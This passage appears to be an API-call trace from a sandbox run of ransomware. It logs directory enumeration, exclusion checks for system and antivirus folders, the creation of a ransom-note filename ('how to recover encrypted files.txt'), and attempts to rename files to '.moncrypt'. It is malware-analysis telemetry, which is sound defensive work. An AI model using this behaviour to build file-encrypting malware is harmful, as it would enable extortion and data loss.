lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@蘜T企@\x18?T\x18y")) returned 0xffffffff [0058.781] GetLastError () returned 0x2 [0058.781] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.781] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0058.782] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\眵?\x18") returned 7 [0058.782] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@夜U企@\x18?T\x18\x81")) returned 0xffffffff [0058.783] GetLastError () returned 0x2 [0058.783] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.783] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0058.783] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\眵?\x18") returned 6 [0058.783] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@阜R企@\x18?T\x18\x88")) returned 0xffffffff [0058.785] GetLastError () returned 0x2 [0058.785] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.785] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0058.785] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\眵?\x18") returned 6 [0058.785] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@蘜T企@\x18?T\x18\x8f")) returned 0xffffffff [0058.787] GetLastError () returned 0x2 [0058.787] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0058.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\眵?\x18") returned 7 [0058.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蔴T䱠@夜U企@\x18?T\x18\x97")) returned 0xffffffff [0058.788] GetLastError () returned 0x2 [0058.788] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0058.789] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.789] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.789] GlobalUnlock (hMem=0x44000c) returned 0 [0058.789] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.789] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.789] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.789] GlobalUnlock (hMem=0x44000c) returned 0 [0058.789] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.789] GlobalUnlock (hMem=0x440004) returned 0 [0058.789] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.789] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.789] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0058.789] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.789] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.789] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0058.789] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.789] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.789] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.790] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.790] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0058.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.790] GlobalLock (hMem=0x440004) returned 0x550170 [0058.790] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.790] GlobalUnlock (hMem=0x440004) returned 0 [0058.790] GlobalLock (hMem=0x440004) returned 0x550170 [0058.790] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.790] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.790] GlobalUnlock (hMem=0x440004) returned 0 [0058.790] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.790] GlobalUnlock (hMem=0x44000c) returned 0 [0058.790] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.790] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.791] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.791] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0058.791] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0058.791] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0058.792] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0058.792] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.792] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\") returned 0x35 [0058.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0058.792] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.792] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.792] GlobalUnlock (hMem=0x44000c) returned 0 [0058.792] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.792] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.792] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.792] GlobalUnlock (hMem=0x44000c) returned 0 [0058.792] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.792] GlobalUnlock (hMem=0x440004) returned 0 [0058.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.793] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.793] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0058.793] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.793] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.793] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.793] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.793] GlobalUnlock (hMem=0x440004) returned 0 [0058.794] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.794] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.794] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.794] GlobalUnlock (hMem=0x440004) returned 0 [0058.794] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.794] GlobalUnlock (hMem=0x44000c) returned 0 [0058.794] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.794] CharLowerBuffW (in: lpsz="1047x576black.png", cchLength=0x11 | out: lpsz="1047x576black.png") returned 0x11 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png", cchWideChar=70, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.pngc", lpUsedDefaultChar=0x0) returned 70 [0058.795] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Vignette\\1047x576black.pngc", lpUsedDefaultChar=0x0) returned 4 [0058.795] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0058.798] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0058.799] CloseHandle (hObject=0x18c) returned 1 [0058.799] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\я")) returned 1 [0058.800] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 0x54e280 [0058.800] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.800] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.800] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.800] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png", dwFileAttributes=0x20) returned 0 [0058.801] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.801] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png.moncrypt")) returned 0 [0058.801] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, 